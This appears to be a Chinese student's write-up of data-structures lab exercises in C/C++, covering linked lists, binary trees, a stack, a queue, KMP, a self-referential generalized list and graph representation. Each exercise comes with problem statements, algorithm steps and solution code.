    • 新建节点的后继设置为当前节点j的后继。 也就是执行ovo->next=j->next
    • 当前节点j的后继设置为申请的新的节点ovo

4.源代码

int insert_link(LinkList L, int i, ElemType e){
  int siz=0;
  for(LinkList j = L;j!=NULL;j=j->next){++siz;}//计算大小
  if(i<=0 || i>siz)return 0;//错误判断
  LNode *ovo = (LNode*)malloc(sizeof(LNode));//新建节点
  ovo->data=e;//赋值
  int cnt= 0;//计数器
  for(LinkList j = L;j!=NULL;j=j->next){
    if(++cnt == i){
      ovo->next=j->next;
      j->next=ovo;
    }
  }
  return 1;
}

|链表|带头结点的单链表删除操作

1. 实训题目

本题要求实现删除单链表的第i个元素结点,删除成功返回1,否则返回0。

函数接口定义:

int delete_link ( LinkList L,int i);

L为单链表的头指针,i为删除结点的序号。

裁判测试程序样例:

#include <stdio.h>
#include <stdlib.h>
typedef int ElemType;
typedef struct LNode {
  ElemType data;
  struct LNode *next;
} LNode, *LinkList;
LinkList Create(); /* 细节在此不表 */
void print(LinkList L);
int delete_link(LinkList L, int i);
int main() {
  LinkList L = Create();
  int position;
  int flag;
  scanf("%d", &position);
  flag = delete_link(L, position);
  if (flag) {
    print(L);
  } else {
    printf("Wrong Position for Deletion");
  }
  return 0;
}
void print(LinkList L) {
  LinkList p;
  p = L->next;
  while (p) {
    printf("%d ", p->data);
    p = p->next;
  }
}
/* 请在这里填写答案 */

输入格式:

输入数据为两行,第一行是若干正整数,最后以-1表示结尾(-1不算在序列内,不要处理)。所有数据之间用空格分隔。
第二行数据是删除位置。

输入样例:

1 2 3 4 5 6 -1
3

输出样例:

1 2 4 5 6 

2.算法思想

先判断非法条件。

枚举链表,找到该节点时,删除节点,维护链表结构。

3.算法步骤

  • 判断非法条件:如果插入位置大于链表长度,或者小于等于0则为非法
  • 设置计数器cnt,初始化为0
  • 设置循环变量j,初始化为j=L,终止条件j!=NULL,循环赋值j=j->next
  • cnt+1等于i的时候,即当元素,则开始插入

    • 建立临时变脸nx
    • 判断当前的j的下一个,是否是链表最后一个元素,如果是nx=NULL,否则让nx等于j的下一个的下一个,即要删除元素的后继。
    • 删除(j->next),释放内存空间,维护链表。
    • 只需要让j(待删除节点的前驱)指向待删除节点的后继,即为j->next=nx
  • 返回插入成功状态值。

4.源代码

int delete_link ( LinkList L,int i){
  int siz=0;
  for(LinkList j = L;j!=NULL;j=j->next){++siz;}//计算大小
  siz-=1;
  
  if(i>siz||i<=0)return 0;
  int cnt= 0;
  for(LinkList j = L;j!=NULL;j=j->next){
    if(++cnt==i){
      LinkList nx;
      if(j->next==NULL)nx=NULL;
      else nx=j->next->next;
      free(j->next);
      j->next=nx;
      break;
    }
  }
  return 1;
}

|链表|求单链表元素序号

1. 实训题目

求单链表元素序号

本题要求实现一个函数,求带头结点的单链表中元素序号。

函数接口定义:

int Locate ( LinkList L, ElemType e);

L是带头结点的单链表的头指针,e是要查找的元素值。如果e在单链表中存在,函数Locate返回其序号(序号从1开始);否则,返回0。

裁判测试程序样例:

#include <stdio.h>
#include <stdlib.h>
typedef int ElemType;
typedef struct LNode{
    ElemType data;
    struct LNode *next;
}LNode,*LinkList;
LinkList Create();/* 细节在此不表 */
int Locate ( LinkList L, ElemType e);
int main(){
    ElemType e;
    LinkList L = Create();
    scanf("%d",&e);
    printf("%d\n", Locate(L,e));
    return 0;
}
/* 你的代码将被嵌在这里 */

输入样例:

2 1 4 5 3 -1
5

输出样例:

4

2.算法思想

枚举结点,同时计数。

3.算法步骤

  • 设置变量cnt 初始化为0,用于计数
  • 设置循环变量i,初始化为i=L-next,终止条件i!=NULL,循环赋值i=i->next

    • 循环内 cnt 自增
    • 循环内进行判断,当前节点的data值是否为e

      • 如果为e 则返回cnt的值
  • 如果循环结束没有进行返回,则说明cnt不存在,返回0

4.源代码

int Locate(LinkList L, ElemType e){
  int cnt=0;
  for(LinkList i=L->next;i!=NULL;i=i->next){
    ++cnt;
    if(i->data==e){
      return cnt;
    }
  }
  return 0;
}

|链表|带头结点的单链表就地逆置

1. 实训题目

带头结点的单链表就地逆置

本题要求编写函数实现带头结点的单链线性表的就地逆置操作函数。L是一个带头结点的单链表,函数ListReverse_L(LinkList &L)要求在不新开辟节点的前提下将单链表中的元素进行逆置,如原单链表元素依次为1,2,3,4,则逆置后为4,3,2,1。

函数接口定义:

void ListReverse_L(LinkList &L);

其中 L 是一个带头结点的单链表。

裁判测试程序样例:

//库函数头文件包含
#include<stdio.h>
#include<malloc.h>
#include<stdlib.h>

//函数状态码定义
#define TRUE        1
#define FALSE       0
#define OK          1
#define ERROR       0
#define INFEASIBLE -1
#define OVERFLOW   -2

typedef int  Status;
typedef int  ElemType; //假设线性表中的元素均为整型

typedef struct LNode
{
    ElemType data;
    struct LNode *next;
}LNode,*LinkList;

Status ListCreate_L(LinkList &L,int n)
{
    LNode *rearPtr,*curPtr;   //一个尾指针,一个指向新节点的指针
    L=(LNode*)malloc(sizeof (LNode));
    if(!L)exit(OVERFLOW);
    L->next=NULL;               //先建立一个带头结点的单链表
    rearPtr=L;  //初始时头结点为尾节点,rearPtr指向尾巴节点
    for (int i=1;i<=n;i++){  //每次循环都开辟一个新节点,并把新节点拼到尾节点后
        curPtr=(LNode*)malloc(sizeof(LNode));//生成新结点
        if(!curPtr)exit(OVERFLOW);
        scanf("%d",&curPtr->data);//输入元素值
        curPtr->next=NULL;  //最后一个节点的next赋空
        rearPtr->next=curPtr;
        rearPtr=curPtr;
    }
    return OK;
}
void ListReverse_L(LinkList &L);
void ListPrint_L(LinkList &L){
//输出单链表
    LNode *p=L->next;  //p指向第一个元素结点
    while(p!=NULL)
    {
          if(p->next!=NULL)
               printf("%d ",p->data);
          else
               printf("%d",p->data);
          p=p->next;
    }
}
int main()
{
    LinkList L;
    int n;
    scanf("%d",&n);
    if(ListCreate_L(L,n)!= OK) {
          printf("表创建失败!!!\n");
          return -1;
    }
    ListReverse_L(L);
    ListPrint_L(L);
    return 0;
}
/* 请在这里填写答案 */

输入格式

第一行输入一个整数n,表示单链表中元素个数,接下来一行共n个整数,中间用空格隔开。

输出格式

输出逆置后顺序表的各个元素,两个元素之间用空格隔开,最后一个元素后面没有空格。

输入样例:

4
1 2 3 4

输出样例:

4 3 2 1

2.算法思想

新建一个链表,枚举旧链表的同时使用头插法进行插入新的链表。

3.算法步骤

  • 新建一个链表ls,申请内存空间
  • 初始化链表ls: ls->next =NULL; ls->data=0;
  • 设置循环变量i,初始化为i=L-next,终止条件i!=NULL,循环赋值i=i->next

    • 循环内:新建节点tmp,申请内存空间。

      • 循环内:tmp进行赋值,tmpdata=idata
      • 头插法:tmp的下一个等于ls的下一个。
      • 头插法:ls的下一个节点为tmp
  • L 赋值为新建的列表。
  • 此处可以把旧的链表的内存空间清空。

4.源代码

void ListReverse_L(LinkList &L) {
  LNode *ls = (LNode*)malloc(sizeof(LNode));
  ls->next=NULL;
  ls->data=0;
  for(LinkList i = L->next;i!=NULL;i=i->next){
    LNode *tmp = (LNode*)malloc(sizeof(LNode));
    tmp->data=i->data;
    tmp->next=ls->next;
    ls->next=tmp;
  }
  L=ls;
}

|链表|带头结点的链式表操作集

1. 实训题目

带头结点的链式表操作集

本题要求实现带头结点的链式表操作集。

函数接口定义:

List MakeEmpty(); 
Position Find( List L, ElementType X );
bool Insert( List L, ElementType X, Position P );
bool Delete( List L, Position P );

其中List结构定义如下:

typedef struct LNode *PtrToLNode;
struct LNode {
    ElementType Data;
    PtrToLNode Next;
};
typedef PtrToLNode Position;
typedef PtrToLNode List;

各个操作函数的定义为:

List MakeEmpty():创建并返回一个空的线性表;

Position Find( List L, ElementType X ):返回线性表中X的位置。若找不到则返回ERROR;

bool Insert( List L, ElementType X, Position P ):将X插入在位置P指向的结点之前,返回true。如果参数P指向非法位置,则打印“Wrong Position for Insertion”,返回false;

bool Delete( List L, Position P ):将位置P的元素删除并返回true。若参数P指向非法位置,则打印“Wrong Position for Deletion”并返回false。

裁判测试程序样例:

#include <stdio.h>
#include <stdlib.h>

#define ERROR NULL
typedef enum {false, true} bool;
typedef int ElementType;
typedef struct LNode *PtrToLNode;
struct LNode {
    ElementType Data;
    PtrToLNode Next;
};
typedef PtrToLNode Position;
typedef PtrToLNode List;

List MakeEmpty(); 
Position Find( List L, ElementType X );
bool Insert( List L, ElementType X, Position P );
bool Delete( List L, Position P );

int main()
{
    List L;
    ElementType X;
    Position P;
    int N;
    bool flag;

    L = MakeEmpty();
    scanf("%d", &N);
    while ( N-- ) {
        scanf("%d", &X);
        flag = Insert(L, X, L->Next);
        if ( flag==false ) printf("Wrong Answer\n");
    }
    scanf("%d", &N);
    while ( N-- ) {
        scanf("%d", &X);
        P = Find(L, X);
        if ( P == ERROR )
            printf("Finding Error: %d is not in.\n", X);
        else {
            flag = Delete(L, P);
            printf("%d is found and deleted.\n", X);
            if ( flag==false )
                printf("Wrong Answer.\n");
        }
    }
    flag = Insert(L, X, NULL);
    if ( flag==false ) printf("Wrong Answer\n");
    else
        printf("%d is inserted as the last element.\n", X);
    P = (Position)malloc(sizeof(struct LNode));
    flag = Insert(L, X, P);
    if ( flag==true ) printf("Wrong Answer\n");
    flag = Delete(L, P);
    if ( flag==true ) printf("Wrong Answer\n");
    for ( P=L->Next; P; P = P->Next ) printf("%d ", P->Data);
    return 0;
}
/* 你的代码将被嵌在这里 */

输入样例:

6
12 2 4 87 10 2
4
2 12 87 5

输出样例:

2 is found and deleted.
12 is found and deleted.
87 is found and deleted.
Finding Error: 5 is not in.
5 is inserted as the last element.
Wrong Position for Insertion
Wrong Position for Deletion
10 4 2 5 

2.算法思想

  • 函数MakeEmpty

    • 生成节点,生成指针,指针指向节点。
  • 函数 Find

    • 枚举节点,找到相同数据则返回
  • 函数 Insert

    • 枚举节点,找到位置的时候,新建节点,维护链表
  • 函数 Delete

    • 枚举节点,找到节点并且删除,维护链表。

3.算法步骤

MakeEmpty 函数

  • 新建一个节点nd
  • 初始化节点ndnd的下一节点指向空,数值初始化为0
  • 新建指针ptn,指向nd
  • 新建List lsList 也是指针,所以直接等于ptn即可。
  • 返回列表ls

Find 函数

  • 新建循环变量ii初始化为L,循环终止条件:i!=NULL,每次循环i = i->Next
  • 如果发现Data的值为X,返回当前节点,即为i,返回i
  • 如果循环结束仍然没有找到,返回ERROR

Insert 函数

  • 设置循环变量i,初始化为i=L,终止条件i!=NULL,循环赋值i=i->next

    • 如果i的下一个节点为P,则进行

      • 新建节点nd
      • nd的数值初始化为X
      • i的后继设置为nd
      • nd的后继设置为P
      • 返回 true 状态值
  • 如果没有找到节点:

    • "Wrong Position for Insertion\n"
    • 返回false状态值

Delete 函数

  • 设置循环变量i,初始化为i=L,终止条件i!=NULL,循环赋值i=i->next
  • 如果i的后继为P

    • i的后继设置为P的后继
    • P免费了(free(P) 释放内存空间)。
    • 返回true状态值
  • 如果没有找到P

    • 输出"Wrong Position for Deletion\n“
    • 返回false状态值

4.源代码

List MakeEmpty(){
  //struct LNode nd;
  struct LNode ovo;
  struct LNode *nd = (struct LNode*)malloc(sizeof(struct LNode));
  nd->Next=NULL;
  nd->Data=0;
  PtrToLNode ptn = (PtrToLNode)malloc(sizeof(PtrToLNode));
  ptn = nd;
  List ls = (List)malloc(sizeof(List));
  ls=ptn;
  ls->Next=NULL;
  return ls;
}
Position Find(List L, ElementType X){
  for(PtrToLNode i = L;i!=NULL;i=i->Next){
    if(i->Data==X){
      return i;
    }
  }
  return ERROR;
}

bool Insert(List L, ElementType X, Position P){
  for(PtrToLNode i=L;i!=NULL;i=i->Next){
    if(i->Next == P){
      struct LNode *nd = (struct LNode*)malloc(sizeof(struct LNode));
      nd->Data=X;
      i->Next=nd;//i -> nd
      nd->Next=P;// nd ->p
      return true;
    }
  }
  printf("Wrong Position for Insertion\n");
  return false;
}

bool Delete(List L, Position P){
  for(PtrToLNode i=L;i!=NULL;i=i->Next){
    if(i->Next==P){
      i->Next=P->Next;
      free(P);
      return true;
    }
  }
  printf("Wrong Position for Deletion\n");
  return false;
}

|树与二叉树|统计二叉树叶子结点

1.实训题目

统计二叉树叶子结点个数

本题要求实现一个函数,可统计二叉树的叶子结点个数。

函数接口定义:

int LeafCount ( BiTree T);

T是二叉树树根指针,函数LeafCount返回二叉树中叶子结点个数,若树为空,则返回0。

裁判测试程序样例:

#include <stdio.h>
#include <stdlib.h>
typedef char ElemType;
typedef struct BiTNode{
    ElemType data;
    struct BiTNode *lchild,*rchild;
}BiTNode,*BiTree;
BiTree Create();/* 细节在此不表 */
int LeafCount ( BiTree T);
int main(){
    BiTree T = Create();
    printf("%d\n", LeafCount(T));
    return 0;
}
/* 你的代码将被嵌在这里 */

输入样例:

输入为由字母和'#'组成的字符串,代表二叉树的扩展先序序列。例如对于如下二叉树,输入数据:

AB#DF##G##C##

输出样例(对于图中给出的树):

二叉树.png

3

2. 算法思想

递归遍历树,如果是叶子结点,返回1,每层递归统计,返回和。

3. 算法步骤

  • 如果遍历到空结点NULL,则返回0
  • 当前层的计数器初始化为0
  • 如果当前节点的左子树和右子树的值都为空,则返回1
  • 其他情况:递归到左子树,然后递归到右子树。
  • 返回当前节点的计数器ans给上层节点。

4. 源代码

int LeafCount(BiTree T) {
  if(T==NULL){return 0;}
  int ans = 0 ;
  if(T->lchild==NULL&&T->rchild==NULL){return 1;}
  ans+=LeafCount(T->lchild);
  ans+=LeafCount(T->rchild);
  return ans;
}

|树与二叉树|二叉树的三种遍历(先序、中序和后序)

1.实训题目

本题要求实现给定的二叉树的三种遍历。

函数接口定义:

void Preorder(BiTree T);
void Inorder(BiTree T);
void Postorder(BiTree T);

T是二叉树树根指针,Preorder、Inorder和Postorder分别输出给定二叉树的先序、中序和后序遍历序列,格式为一个空格跟着一个字符。

其中BinTree结构定义如下:

typedef char ElemType;
typedef struct BiTNode
{
   ElemType data;
   struct BiTNode *lchild, *rchild;
}BiTNode, *BiTree;

裁判测试程序样例:

#include <stdio.h>
#include <stdlib.h>
typedef char ElemType;
typedef struct BiTNode
{
   ElemType data;
   struct BiTNode *lchild, *rchild;
}BiTNode, *BiTree;

BiTree Create();/* 细节在此不表 */
void Preorder(BiTree T);
void Inorder(BiTree T);
void Postorder(BiTree T);
int main()
{
   BiTree T = Create();
   printf("Preorder:");   Preorder(T);   printf("\n");
   printf("Inorder:");    Inorder(T);    printf("\n");
   printf("Postorder:");  Postorder(T);  printf("\n");
   return 0;
}
/* 你的代码将被嵌在这里 */

输入样例:

输入为由字母和'#'组成的字符串,代表二叉树的扩展先序序列。例如对于如下二叉树,输入数据:

AB#DF##G##C##

输出样例(对于图中给出的树):

二叉树.png

Preorder: A B D F G C
Inorder: B F D G A C
Postorder: F G D B C A

2. 算法思想

按照不同顺序遍历二叉树。

前序遍历:根 左 右

中序遍历:左 右 根

后序遍历:左 右 根

3. 算法步骤

  • 如果当前节点是NULL节点,则返回
  • 对于先序遍历

    • 输出当前节点(也就是根)T->data
    • 遍历左子树
    • 遍历右子树
  • 对于中序遍历

    • 遍历左子树 T->lchild
    • 输出当前节点(根节点) T->data
    • 遍历右子树 T->rchild
  • 对于后序遍历

    • 遍历左子树 T->lchild
    • 遍历右子树 T->rchild
    • 输出当前节点(根节点) T->data

4. 源代码

void Preorder(BiTree T){
  if(T==NULL)return;
  printf(" %c",T->data);
  Preorder(T->lchild);
  Preorder(T->rchild);
}
void Inorder(BiTree T){
  if(T==NULL)return;
  Inorder(T->lchild);
  printf(" %c",T->data);
  Inorder(T->rchild);
}
void Postorder(BiTree T){
  if(T==NULL)return;
  Postorder(T->lchild);
  Postorder(T->rchild);
  printf(" %c",T->data);
}

|树与二叉树|求二叉树的深度

1.实训题目

求二叉树的深度

本题要求实现一个函数,可返回二叉树的深度。

函数接口定义:

int Depth(BiTree T);

T是二叉树树根指针,函数Depth返回二叉树的深度,若树为空,返回0。

裁判测试程序样例:

#include <stdio.h>
#include <stdlib.h>
typedef char ElemType;
typedef struct BiTNode {
  ElemType data;
  struct BiTNode *lchild, *rchild;
} BiTNode, *BiTree;
BiTree Create(); /* 细节在此不表 */
int Depth(BiTree T);
int main() {
  BiTree T = Create();
  printf("%d\n", Depth(T));
  return 0;
}
/* 你的代码将被嵌在这里 */

输入样例:

输入为由字母和'#'组成的字符串,代表二叉树的扩展先序序列。例如对于如下二叉树,输入数据:

AB#DF##G##C##

输出样例(对于图中给出的树):

二叉树.png

4

2. 算法思想

遍历二叉树,每层向上返回:当前层找到的最大深度+1,进而求出深度。

3. 算法步骤

  • 如果当前节点为空:NULL 返回 0
  • 当前节点可获得的最大深度为:

    • 左子树获得的最大深度+1
    • 右子树获得的最大深度+1
    • 两者取最大值,即位当前节点的最大深度。
    • Depth(T->lchild)+1 Depth(T->rchild)+1 的最大值
  • 返回当前节点的深度。

4. 源代码

int max(int x,int y){return x>y?x:y;}
int Depth(BiTree T){
  if(T==NULL)return 0;
  int dep = max(Depth(T->lchild)+1,Depth(T->rchild)+1);
  return dep;
}

|树与二叉树| 中序输出度为1的结点

1.实训题目

本题要求实现一个函数,按照中序遍历的顺序输出给定二叉树中度为1的结点。

函数接口定义:

void InorderPrintNodes( BiTree T);

T是二叉树树根指针,InorderPrintNodes按照中序遍历的顺序输出给定二叉树T中度为1的结点,格式为一个空格跟着一个字符。

其中BiTree结构定义如下:

typedef struct BiTNode
{
    ElemType data;
    struct BiTNode *lchild,*rchild;
}BiTNode,*BiTree;

裁判测试程序样例:

#include <stdio.h>
#include <stdlib.h>
typedef char ElemType;
typedef struct BiTNode
{
    ElemType data;
    struct BiTNode *lchild,*rchild;
}BiTNode,*BiTree;

BiTree Create();/* 细节在此不表 */
void InorderPrintNodes( BiTree T);
int main()
{
    BiTree T = Create();
    printf("Nodes are:");
    InorderPrintNodes(T);
    return 0;
}
/* 你的代码将被嵌在这里 */

输入样例:

输入为由字母和'#'组成的字符串,代表二叉树的扩展先序序列。例如对于如下二叉树,输入数据:

ACG#H###BEF###D##

输出样例(对于图中给出的树):

二叉树.PNG

Nodes are: G C E

2. 算法思想

按照题目要求,先序遍历二叉树,如果当前节点的出度为1,则输出当前节点。

3. 算法步骤

  • 如果当前节点为:NULL 则返回
  • 根据先序遍历,遍历左子树
  • 如果当前节点的出度之和是1,则输出:

    • T的左子树不等于空,结果是0或者1
    • T的右子树不等于空,结果是0或者1
    • 取两者的和
    • 当且仅当:左子树为空右子树不为空,或者,右子树为空左子树不为空 。此时的和为1
    • 则进行输出

4. 源代码

void InorderPrintNodes( BiTree T){
  if(T==NULL)return ;
  InorderPrintNodes(T->lchild);
  if((T->lchild!=NULL) +  (T->rchild!=NULL) == 1){
    printf(" %c",T->data);
  }
  InorderPrintNodes(T->rchild);
}

|树与二叉树|后记|调试代码与建树

因为OI的习惯,实在习惯不了在PTA在线打代码和这样子调试,运行超级慢,效率超级低。

还是希望可以在本地运行和调试代码。

于是题目虽然是函数题,但是其实也可以补全。

于是按照要求,建了棵树。

能用递归写的,其实用循环写也没问题,就是得多个状态栈,所以还是直接用递归建树啦。

有一个稍微坑点的地方是:读入根节点data的问题,如果读入了一次,递归到子树再读一遍,读入流指针就可能不对劲啦。

想了想跟回退读入流指针相比,还是递归的时候传一个上一次读到的节点。

void build_tree(BiTree T,char last){
  T->data=last;
  T->lchild=NULL;
  T->rchild=NULL;
  char l_data,r_data;
  scanf("%c",&l_data);
  if(l_data!='#'){
    BiTree tmp = (BiTree)malloc(sizeof(BiTNode));
    tmp->data=l_data;
    tmp->lchild=NULL;
    tmp->rchild=NULL;
    T->lchild=tmp;
    build_tree(T->lchild,l_data);
  }
  scanf("%c",&r_data);
  if(r_data!='#'){
    BiTree tmp=(BiTree)malloc(sizeof(BiTNode));
    tmp->data=r_data;
    tmp->lchild=NULL;
    tmp->rchild=NULL;
    T->rchild=tmp;
    build_tree(T->rchild,r_data);
  }
}
BiTree Create(){
  BiTree tree = (BiTree)malloc(sizeof(BiTNode));
  char root;
  scanf("%c",&root);//读入根节点
  tree->data = root;
  build_tree(tree,root);
  return tree;
}

写完这两行字,我就意识到,不需要传这个last变量,只需要在开始的时候读一下根节点,其他的都不需要特殊处理。

这样就是下面的代码啦

void build_tree(BiTree T){
  // T->data=last;
  T->lchild=NULL;
  T->rchild=NULL;
  char l_data,r_data;
  scanf("%c",&l_data);
  if(l_data!='#'){
    BiTree tmp = (BiTree)malloc(sizeof(BiTNode));
    tmp->data=l_data;
    tmp->lchild=NULL;
    tmp->rchild=NULL;
    T->lchild=tmp;
    build_tree(T->lchild);
  }
  scanf("%c",&r_data);
  if(r_data!='#'){
    BiTree tmp=(BiTree)malloc(sizeof(BiTNode));
    tmp->data=r_data;
    tmp->lchild=NULL;
    tmp->rchild=NULL;
    T->rchild=tmp;
    build_tree(T->rchild);
  }
}

BiTree Create(){
  BiTree tree = (BiTree)malloc(sizeof(BiTNode));
  char root;
  scanf("%c",&root);//读入根节点
  tree->data = root;
  build_tree(tree);
  return tree;
}

|栈、队列、串、数组、广义表|手写栈

1.实训题目

手写一个栈

2.算法思想

使用数组来表示栈,定义一个数表示指针。

3.算法步骤

  • sz数组存储栈元素
  • top存储栈顶位置在哪
  • get_top()函数

    • 返回栈顶元素,由于top表示栈顶,也就是sz[top]
  • pop()函数

    • 弹出元素,实际上就是直接让top-1即可。
  • empty()函数

    • 判断栈是否为空。
    • 如果top小于等于0,则说明已经弹出完成或者过度弹出,返回0
    • top大于等于1,说明栈中还有元素
  • push(int x)函数

    • top指针自增
    • 然后元素赋值到sz[top]

4.源代码

#include<stdio.h>

#define maxn 12345

struct stack{
  int sz[maxn];
  int top;
  stack(){//结构体构造函数,初始化。
    top=0;
  }
  int get_top(){return sz[top];}//返回栈顶元素
  bool pop(){//弹出栈顶元素。
    if(top<=0){
      return false;
    }
    top--;
    return true; 
  }
  int empty(){//栈是否为空
    if(top>=1)return 0;
    return 1;
  }
  void push(int x){//向栈添加元素
    sz[++top]=x;
  }
}st;

int main(){
  for(int i=1;i<=5;++i){
    st.push(i);
  }
  for(;!st.empty();){
    printf("%d ",st.get_top());
    st.pop();
  }
  for(int i=6;i<=10;++i){
    st.push(i);
  }
  for(;!st.empty();){
    printf("%d ",st.get_top());
    st.pop();
  }
}

5. 代码输出

5 4 3 2 1 10 9 8 7 6

|栈、队列、串、数组、广义表|手写队列

1.实训题目

手写非循环队列

2.算法思想

设置一个头指针,设置一个尾指针。

分别为指向队列的头和尾。

3.算法步骤

  • sz 数组保存数据
  • head 表示队列头
  • tail 表示队列的尾
  • 函数 queue() 构造函数

    • head = 1
    • tail = 1
    • 让两者都指向第一个元素。
  • 函数 front() 返回队列的头

    • head指向队列的头,所以直接返回sz[head]即可
  • 函数 pop() 弹出元素

    • head 自增即可。
    • 但这样的缺点是,之前的空间被浪费了,无法再次利用。
    • 解决这个问题可以直接队列和链表相结合,这样就可以释放不需要的空间。也可以使用循环队列。
  • 函数 empty() 判断是否为空

    • 只需要判断头(head)是否大于尾巴(tail)即可。

      • 如果头大于等于尾巴则说明已经为空
      • 不然不为空
  • 函数 push(int x) 向队列添加元素

    • 尾巴自增(tail++)
    • 向尾巴指向的数组的位置修改为x

4.源代码

#include<stdio.h>
#define maxn 23333
struct queue{//手写非循环队列
  int sz[maxn<<1];
  int tail;
  int head;
  queue(){
    head = 1;
    tail = 1;
  }
  int front(){
    return sz[head];
  }
  void pop(){
    head++;
    return; 
  }
  int empty(){
    if(head>=tail)return 1;
    return 0;
  }
  void push(int x){
    sz[tail++]=x;
  }
};

int main(){
  struct queue q;
  for(int i=1;i<=10;++i)q.push(i);
  for(;!q.empty();){
    printf("%d ",q.front());
    q.pop();
  }
}

5.代码输出

1 2 3 4 5 6 7 8 9 10

|栈、队列、串、数组、广义表|KMP

1.实训题目

pic

2.算法思想

KMP数组记录模式串匹配失败之后的模式串的前缀后缀最大的相同的位置

而在匹配过程中,避免多余的重复匹配,匹配失败后,直接跳到最大的按位相等的地方即可。

3.算法步骤

  • kmp数组的求解:

    • kmp[i]记录的是,当模式串匹配到第i位的时候失败了,进行自我跳转。
    • 从第二个字符开始自我匹配(此处数组从下标1开始存储),如果自我匹配失败,则进行自我跳回。直到跳回到开始的位置或者再次相等的地方。
    • 如果自我匹配成功,则可以让j指针自增,同时kmp数组的第i位,即当前位置,设置为j
  • KMP匹配

    • 求出模式串和主串的长度分别为lenlen_p
    • 匹配主串,如果匹配失败,直接通过j指针的跳转到kmp[j],回退。
    • 如果相等则j指针自增,直到发现j指针的大小与模式串的长度相同,则此处匹配成功。
  • 复杂度分析:

    • 观察kmp数组的求出过程后,可以发现,while语句几乎是在几跳中就彻底完成,时间基本上不会占用,因此实现基本上是O(N+与M一次方相关的数)
    • 具体的分析大概如下:
    • 来自山东OI选手rqy:每次位置指针i++,匹配失败的指针j最多增加一次,所以j最多增加len次,所以是O(N的长度+M的长度)=O(N+M)

4.源代码

#include<bits/stdc++.h>
const int maxn=1e6+8;

char s1[maxn];
char s2[maxn];

int kmp[maxn];

void getnext(){
  int j=0;
  //kmp[0]=kmp[1]=0;
  int len = strlen(s2+1);
  for(int i=2;i<=len;++i){
    while(j!=0 && s2[i]!=s2[j+1])j=kmp[j];
    if(s2[i]==s2[j+1])j++;
    kmp[i]=j;//赋值
  }
}
void KMP(){
  int j =0;
  int len=strlen(s1+1);
  int len_p=strlen(s2+1);
  for(int i=1;i<=len;++i){
    while(j&&s1[i]!=s2[j+1])j=kmp[j];
    if(s1[i]==s2[j+1])j++;
    if(j==len_p){
      printf("%d\n",i-len_p+1);
    }
  }
}

int main(){
  using namespace std;
  cin>>s1+1;
  cin>>s2+1;
  getnext();
  KMP();
  int len=strlen(s2+1);
  for(int i=1;i<=len;++i)printf("%d ",kmp[i]);
}
//洛谷通过
//第一次写KMP(之前manacher懂了KMP也没能会写,多少有些参考)

5.代码输出

pic

|栈、队列、串、数组、广义表|递归广义表

1.实训题目

E = (a,E)

2.算法思想

元素。自己指向自己

3.算法步骤

  • 申请个内存
  • 自己指向自己。(ovo->ptr=ovo)
  • data赋值( ovo->data=233)
  • 枚举元素i作为指针:初始化为:ovo,终止条件i!=NULL,循环赋值i=i->ptr

    • 输出信息

4.源代码

#include<stdlib.h>
#include<stdio.h>
typedef struct Node{
  int data;
  struct Node *ptr;
}nd,*point;
int main(){
  point ovo = (point)malloc(sizeof(Node));
  ovo->ptr=ovo;
  ovo->data=233;
  for(point i = ovo;i!=NULL;i=i->ptr){
    printf("[data:%d ptr:%x]->",i->data,i->ptr);
  }
}

5.代码输出

[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]->[data:233 ptr:781400]....

|图论|图的基本概念与表示

1.实训题目

请根据下图给出:

(1)每个顶点的度

(2)邻接矩阵

(3)邻接表

图片1.png

2. 算法思想

邻接表,建表,然后统计每个点的出度。

图可表示为

8
a b 15
a c 2
a d 12
b e 6
c e 8 
c f 4
d g 3
e g 9
f g 10
f d 5
g b 4

通过网站可以再次二次确认一下图是否正确:

https://csacademy.com/app/graph_editor/

image-20221201184359220

如果进行数字字母映射,可以得到这个表

t1.in

7 11
1 2 15
1 3 2
1 4 12
2 5 6
3 5 8
3 6 4
4 7 3
5 7 9
6 7 10
6 4 5
7 2 4

3. 算法步骤

先建立一个邻接表,fst数组存链表头,Edge结构体存链表。

Edge结构体内包含:u,v,w,nxt 分别是边的起点u,终点v,权值w,和链表的下一条边。

cnt作为edge的指针,表示边的序号。

因为是有向图,所以开的边最好是两倍。

N 为 点的数量

M 为 边的数量

inline x map_fun(x)函数

inline char map_fun(int x){return 'a'+x-1;}//这俩好用
inline int map_fun(char x){return x-'a'+1;}//这俩好用

两个函数,分别实现了,将数字映射到字符 和 将字符映射到数字两个功能。

具体实现做法:

  • 数字 -> 字符 :

    • 'a'的值(65) 一,然后加上偏移量x
  • 字符->数字:

    • 偏移量减去基础偏移'a'(65)

addedge(int u,int v,int w)函数

也是链表的实现方法。

使用的是头插法进行。

这部分因为OI时期写习惯了,就用int作为指针啦。

传入的参数有,u,v,w

  • 首先让cnt自增。
  • 然后分别进行赋值edge[cnt].u =u,edge[cnt].v= v edge[cnt].w= w
  • 当前节点的后继指针设置为 u 点的链表头,也就是fst[u]
  • 让u点的链表头指针,指向当前节点,也就是cnt。

这样就完成了边的添加。

inline void addedge_mat(int u,int v,int w) 函数

邻接矩阵。传入的参数有u,v,w

只需要matrix[u][v]=w;

建立边即可。

inline int get_in_deg(int u)函数

求入度,这里用了最暴力的方式来计算,也就是枚举所有的边。

然后进行统计。

先枚举所有的节点

  • 计数器ans初始化为0
  • i为循环变量,i1->N,每次i进行自增。

    • j为循环变量初始化为fst[i],循环条件:jj!=0),每次循环进行赋值j = edge[j].nxt即为:从链表头开始,每次赋值为后继,直到无法找到下一个后继为止

